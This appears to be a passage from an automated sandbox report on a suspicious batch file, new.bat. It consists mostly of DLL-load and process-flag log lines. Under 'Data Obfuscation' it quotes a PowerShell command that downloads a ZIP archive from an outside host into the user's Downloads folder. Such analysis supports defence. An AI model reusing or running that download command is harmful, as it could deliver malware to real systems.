Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: new.bat

Static file information: File size 19922944 > 1048576

Source:	Binary string: <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> script file.</p></li> source: 3.2.html.16.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.run">(pdb.Pdb method)</a> source: genindex-R.html.16.dr
Source:	Binary string: <li><p>The <a class="reference internal" href="../library/pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">Pdb</span></code></a> class constructor now accepts a <em>nosigint</em> argument.</p></li> source: 3.2.html.16.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.set_trace">(pdb.Pdb method)</a> source: genindex-S.html.16.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runeval">(pdb.Pdb method)</a> source: genindex-R.html.16.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runcall">(pdb.Pdb method)</a> source: genindex-R.html.16.dr
Source:	Binary string: <li><p>A <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> script file can contain <code class="docutils literal notranslate"><span class="pre">continue</span></code> and <code class="docutils literal notranslate"><span class="pre">next</span></code> commands source: 3.2.html.16.dr

Data Obfuscation

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
